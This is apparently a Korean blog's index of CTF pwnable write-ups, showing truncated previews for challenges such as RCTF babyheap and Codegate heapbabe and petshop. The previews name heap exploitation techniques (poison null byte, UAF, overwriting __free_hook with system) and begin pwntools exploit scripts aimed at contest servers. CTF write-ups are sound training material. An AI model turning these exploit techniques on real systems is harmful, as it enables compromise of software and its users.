분류 전체보기
-
RCTF 2018 Write upPwnable/CTF 2018. 5. 21. 15:22
Baby HEAP 운 좋게 1등으로 문제를 풀었다 !! 문자열을 입력받는 함수에서 POISON-NULL-Byte 취약점이 생긴다.취약점을 써서 뚝딱 풀면 된다. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from pwn import * #p=process('./babyheap')p=remote('babyheap.2018.teamrois.cn',3154) def alloc(size,content): p.sendlineafter(': ','1') p.sendlineafter(': ',str(size)) p.sendlineafter(': ',content) def s..
-
Secuinside 2017 vvvPwnable/CTF 2018. 5. 13. 20:23
VVV는 배열들을 구현하는 프로그램이다. Native arrayNativeInt arrayStringBig IntSmall Int 위와 같이 5개가 있다. 1234567891011121314151617181920212223242526272829303132333435363738390x1000 { 0x10001000, 0x17 NativeArray NativeArray* vtable int32_t argument_cmd_1000 int32_t two 12 int64_t array_size 16 int64_t size 24 char* array_size_heap[] 32} 0x1000 { 0x10001000, else NativeIntArray NativeIntArray* vtable int32_t argum..
-
Codegate 2017 JsWorldPwnable/CTF 2018. 5. 10. 17:00
b*js::math_atan vp=(주소)주소 + 2(qword)를 하면 인자 주소가 나온다JS:array는 int ?? + int rel_size + int?? int_length_size + data가 들어감. relsize옆에 데이터를 가르키는 주소가 있음winmerge 프로그램으로 소스 비교하면서 취약점 찾을수있음 아래 주소에 모든 것이 들어가 있다..참고: https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/ 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646..
-
-
-
Codegate 2018 FinalPwnable/CTF 2018. 4. 10. 01:37
heapbabe ((dup)UAF + 1byte brute force) 1234567891011121314151617181920212223242526272829303132333435363738394041from pwn import * #p=process('./heapbabe')p=remote('110.10.147.41',8888) def allocate(size,contents): p.sendlineafter('>> ','A') p.sendlineafter('size : ',str(size)) p.sendafter('contents : ',contents) def delete(idx): p.sendlineafter('>> ','F') p.sendlineafter('id : ',str(idx)) p.sen..
-
Codegate 2017 final VMPwnable/CTF 2018. 3. 22. 23:50
비트 연산에 약한 탓에 분석 할때 너무 어려웠다..비트연산을 이용하여서 한자리 한자리 나누고 그 값이 몇인지 확인하면서 기능을 실행시킨다. info register, mov, add, sub, xor, swap, inc, dec, push, pop, syscall mov, push, syscall만 이용하여서 문제를 푼 것 같다.mov는 레지스터 배열에서 r0 r1 r2 ~ 인덱스를 받고 그곳에 값을 넣는 방식이고 push는 12345678910111213141516171819__int64 __fastcall push(__int64 a1, __int64 a2, __int64 a3, int a4, int a5){ __int64 result; // rax *(_DWORD *)(a2 + 28) -= 2; if..
-
Codegate 2017 final petshopPwnable/CTF 2018. 3. 22. 23:40
취약점은 힙 오버플로우가있고 난이도는 쉽다.string객체를 got로 덮어서 릭을하고 freehook을 시스템으로 덮고 (왜 freehook을 덮었는지 모르겠다 ㄷㄷ) ~basic string 같이 소멸자에서 free가 실행되기 때문에 이것을 이용하여서 문제를 풀었다. 123456789101112131415161718192021222324252627282930313233343536from pwn import * def set_pet(name,sound,feed): p.sendlineafter('select:','4') p.sendlineafter('set:','1') p.sendlineafter(':',name) p.sendlineafter(':',sound) p.sendlineafter(':',feed..